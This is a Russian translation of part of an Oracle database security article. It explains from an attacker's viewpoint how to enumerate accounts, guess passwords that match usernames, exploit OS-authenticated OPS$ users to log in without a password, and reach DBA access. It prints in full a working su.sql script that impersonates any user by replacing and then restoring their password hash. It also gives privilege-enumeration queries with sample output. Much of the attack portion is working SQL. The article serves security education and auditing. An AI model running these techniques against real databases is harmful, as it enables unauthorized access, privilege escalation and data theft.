СТАТЬЯ |
31.10.02
|
© Пит Финнеган (Pete
Finnigan)
Статья была опубликована в журнале
Oracle Magazine RE
Часть 2. Оглавление
См. статьи
"Oracle-пользователи
по умолчанию, их пароли и зашифровки" и
"Изучение учетных записей по умолчанию в Oracle"
Если вы смогли войти в базу данных с помощью одной из перечисленных выше учетных записей, замечательно. Что может быть лучше учетной записи dba. Если вы намерены получить промышленные данные, то идеальными будут учетная запись владельца схемы или учетная запись пользователя приложения. Для определения других учетных записей могут быть полезны следующие способы:
SQL> sho user
USER is "DBSNMP"
SQL> select username
2 from all_users;USERNAME
------------------------------
SYS
SYSTEM
OUTLN
DBSNMP
MTSSYS
AURORA$ORB$UNAUTHENTICATED
SCOTT
DEMO
ORDSYS
ORDPLUGINS
MDSYS
FINANCE
CTXSYS
TRACESVR
AXA
BXD
PXF 17 rows selected.SQL> spool off
Здесь видно, что три пользователя, несомненно, не являются пользователями Oracle по умолчанию. Очень часто паролями таких пользователей будут обычные пароли или их имена. Попробуйте каждого из них, используя имя пользователя в качестве пароля. Если у вас есть пароль DBA или кто-то выдал доступ к представлению DBA_USERS, попробуйте вместо ALL_USERS запросить DBA_USERS, выбирая также столбец PASSWORD. В этом столбце содержатся хешированные пароли. DBA_USERS – это представление таблицы базы данных USER$, принадлежащей пользователю SYS.
Один класс пользователей Oracle, которые могут облегчить путь доступа к базе данных, – это внешние (external) пользователи. Но для этого нужно знать их имена в операционной системе и пароли. Фактически, этих пользователей можно обнаружить только в таблице USER$ схемы SYS или в представлении DBA_USERS:
SQL> select username,password
2 from dba_users
3 where password='EXTERNAL';
USERNAME | PASSWORD |
OPS$PXF | EXTERNAL |
SQL>
Если вы нашли внешнего пользователя, вход в базу данных будет очень простым:
sputnik:pxf> sqlplus /SQL*Plus: Release 8.1.5.0.0 - Production on Mon Jul 30 20:48:49 2001(c) Copyright 1999 Oracle Corporation. All rights reserved.connected to:
Oracle8i Enterprise Edition Release 8.1.5.0.0 - Production
With the Partitioning and Jave options
PL/SQL Release 8.1.5.0.0 - ProductionSQL>
Если вы сможете найти внешнюю учетную запись, предназначенную для dba, то будет даже лучше. В данном случае префикс OPS$ указывает, что пользователь является внешним (но только если префикс установлен в параметре инициализации os_auth_prefix). Этот параметр можно проверить в svrmgrl, используя команду show parameter os_authent_prefix, или в sqlplus следующим образом:
SQL> col name for a20
SQL> col value for a20
SQL> select name,value
2 from v$parameter
3 where name='os_authent_prefix';NAME VALUE
-------------------- --------------------
os_authent_prefix
Используя значение этого параметра, можно определить всех внешних пользователей, запрашивая представление ALL_USERS. Если параметр os_authent_prefix установлен, то все пользователи, имена которых начинаются с установленного префикса, могут входить в базу данных из операционной системы без указания пароля, но у них может быть также определенный пароль для удаленного входа. Если пользователь создается со строкой “identified externally”, а не с паролем, он может входить в операционную систему без пароля, (однако ему не разрешены удаленные соединения).
Целью взламывания базы данных Oracle является получение учетной записи dba, любой учетной записи dba. Действительно, для неограниченного доступа к базе данных Oracle вам не нужна учетная запись суперпользователя Oracle SYS. Если вам удастся стать пользователем dba , то можно входить в РСУБД Oracle под именем любого пользователя по вашему желанию, включая пользователя SYS. К сожалению, это может делать только dba, так как при этом используется недокументированная опция оператора alter user, которая позволяет изменить пароль пользователя на известный хешированный пароль. Командный файл su.sql, показанный ниже, можно загрузить из www.pentest-limited.com. Командный файл написан для Unix, для Windows NT нужно в строке, которая удаляет временный файл, вставить DEL.
-- имя : su.sql
-- дата : 23-Jul-2001
-- Автор : Pete Finnigan
-- Описание : соединиться как другой пользователь,
-- не зная его пароль, оставить соединение
-- открытым и восстановить установку
-- исходного пароля пользователя.
-- Ограничение:
-- требуется доступ к любой учетной записи dba.
--
-- использование: SQL> connect sys/change_on_install
-- : SQL> sho user
-- : USER is "SYSTEM"
-- : SQL> @su system
-- : SQL> sho user
-- : USER is "SYS"set head off
set feed off
set verify off
set pages 0
set termout off
spool su.lisselect 'alter user '||username||'
identified by values '''||password||''';'
from dba_users
where username=upper('&&1');spool off
alter user &&1 identified by temppswd;
connect &&1/temppswd
@su.lis
-- уберите комментарии для вашей ОС
--host rm -f su.lis
--host del su.lisset head on
set feed on
set verify on
set pages 24
set termout on
Пользователь, под именем которого вы соединились, не обязательно должен быть dba, но имейте в виду, что под этим именем вы с помощью данного командного файла не сможете вновь соединиться как dba. Если кто-то хочет украсть данные из вашей базы данных, dba может и не потребоваться. Dba может помочь стать владельцем схемы, но вам даже не нужно быть владельцем схемы для несанкционированного просмотра данных, так что берегитесь.
Oracle имеет набор встроенных привилегий и набор встроенных ролей. Пользователи РСУБД могут легко создавать свои собственные роли и управлять предоставлением прав доступа к ним. Можно также назначать роли ролям, создавая таким образом иерархию привилегий. Все роли и привилегии хранятся в таблицах словаря данных, владельцем которых является SYS. Таблицы, называемые DBA_%, могут просматриваться только DBA. Привилегии пользователей хранятся в аналогичных таблицах USER_%, кроме того, есть ряд общих таблиц, доступ к которым разрешен всем пользователям. Все основные таблицы, содержащие информацию о ролях и привилегиях, описаны ниже.
ПРЕДСТАВЛЕНИЕ БАЗЫ ДАННЫХ
|
Описание
|
DBA_USERS | Хранит информацию о всех, кто имеет учетную запись в базе данных Oracle. Вместе с именем и хешированным паролем пользователя хранится имя назначенного ему пользователя. |
DBA_PROFILE | Для каждого профиля хранит информацию о ресурсах и их лимитах. |
DBA_ROLES | Детализирует все роли, содержащиеся в базе данных. |
DBA_ROLE_PRIVS | Роли, которые были назначены конкретным пользователям и другим ролям. |
DBA_SYS_PRIVS | Системные привилегии, которые были выданы конкретным пользователям или ролям. |
DBA_TAB_PRIVS | Привилегии Select, Insert и Update, которые были выданы конкретным пользователям или ролям. |
DBA_COL_PRIVS | Привилегии Select, Insert и Update, которые были выданы конкретным пользователям или ролям. |
ROLE_ROLE_PRIVS | Роли, назначенные другим ролям. |
ROLE_SYS_PRIVS | Системные привилегии, выданные ролям. |
ROLE_TAB_PRIVS | Привилегии доступа к таблицам, выданные ролям. |
ROLE_COL_PRIVS | Привилегии доступа к столбцам таблиц, выданные ролям. |
USER_ROLE_PRIVS | Роли, назначенные текущему пользователю. |
USER_SYS_PRIVS | Системные привилегии, выданные текущему пользователю. |
USER_TAB_PRIVS | Привилегии доступа к таблицам, выданные текущему пользователю. |
USER_COL_PRIVS | Привилегии доступа к столбцам таблиц, выданные текущему пользователю. |
При доступе как dba для определения прав доступа любого пользователя можно использовать явный SQL. В показанном ниже примере пользователь SYSTEM выбирает данные профиля пользователя DBSNMP и выданные ему привилегии.
spool privs.liscol pr head "Профиль" for a8
col rn head "Ресурс" for a25
col rt head "Тип" for a10
col li head "Значение" for a10
break on pr skipprompt
prompt Детали профиля
prompt ==============select p.profile pr,
p.resource_name rn,
p.resource_type rt,
p.limit li
from dba_users u,
dba_profiles p
where u.profile=p.profile
and u.username='DBSNMP';col gr head "Выдавший" for a8
col tn head "Объект" for a20
col ow head "Владелец" for a8
col pr head "Привилегия" for a10prompt
prompt Объектные привилегии
prompt ====================select t.grantor gr,
t.table_name tn,
t.owner ow,
t.privilege pr
from dba_tab_privs t
where t.grantee='DBSNMP';col cn head "Столбец" for a20prompt
prompt Привилегии столбцов
prompt ===================select c.grantor gr,
c.column_name cn,
c.table_name tn,
c.owner ow,
c.privilege pr
from dba_col_privs c
where c.grantee='DBSNMP';col ad head "Адм" for a3
col pr head "Привилегия" for a30prompt
prompt Системные привилегии
prompt ====================select s.privilege pr,
s.admin_option ad
from dba_sys_privs s
where s.grantee='DBSNMP';col gr head "Выданная роль" for a30
col dr head "Def" for a3
col ad head "Адм" for a3 prompt
prompt Привилегии ролей
prompt ================select r.granted_role gr,
r.default_role dr,
r.admin_option ad
from dba_role_privs r
where r.grantee='DBSNMP';spool offВ результате выполнения этого SQL получим: Детали профиля
==============
Профиль | Ресурс | Тип | Значение |
DEFAULT | COMPOSITE_LIMIT | KERNEL | UNLIMITED |
FAILED_LOGIN_ATTEMPTS | PASSWORD | UNLIMITED | |
SESSIONS_PER_USER | KERNEL | UNLIMITED | |
PASSWORD_LIFE_TIME | PASSWORD | UNLIMITED | |
CPU_PER_SESSION | KERNEL | UNLIMITED | |
PASSWORD_REUSE_TIME | PASSWORD | UNLIMITED | |
CPU_PER_CALL | KERNEL | UNLIMITED | |
PASSWORD_REUSE_MAX | PASSWORD | UNLIMITED | |
LOGICAL_READS_PER_SESSION | KERNEL | UNLIMITED | |
PASSWORD_VERIFY_FUNCTION | PASSWORD | UNLIMITED | |
LOGICAL_READS_PER_CALL | KERNEL | UNLIMITED | |
PASSWORD_LOCK_TIME | PASSWORD | UNLIMITED | |
IDLE_TIME KERNEL | UNLIMITE | ||
PASSWORD_GRACE_TIME | PASSWORD | UNLIMITED | |
CONNECT_TIME | KERNEL | UNLIMITED | |
PRIVATE_SGAKERNEL | UNLIMITE |
16 rows selected.Объектные привилегии
====================Выдавший ОбъектВладелец Привилегия
-------- -------------------- -------- ----------
SYS DBMS_SYS_SQL SYS EXECUTE Привилегии столбцов
===================no rows selectedСистемные привилегии
====================
Привилегия | Адм |
CREATE ANY TRIGGER | NO |
CREATE PUBLIC SYNONYM | NO |
UNLIMITED TABLESPACE | NO |
Привилегии ролей
===============
Выданная роль | Def | Адм |
CONNECT | YES | NO |
RESOURCE | YES | NO |
SNMPAGENT | YES | NO |
Заметим, что пользователю DBSNMP во время инсталляции был выдан нестандартный набор привилегий. Чтобы узнать, какие привилегии были выданы пользователю через роли CONNECT и RESOURCE, нужно в запросах заменить ='DBSNMP'на in ('CONNECT','RESOURCE') и повторно выполнить запросы. Для того чтобы найти привилегии пользователя, под именем которого вы соединены, нужно в запросах заменить представления DBA_% на представления USER_% и повторно выполнить запросы.
За дополнительной информацией обращайтесь в компанию Interface Ltd.
INTERFACE Ltd. |
|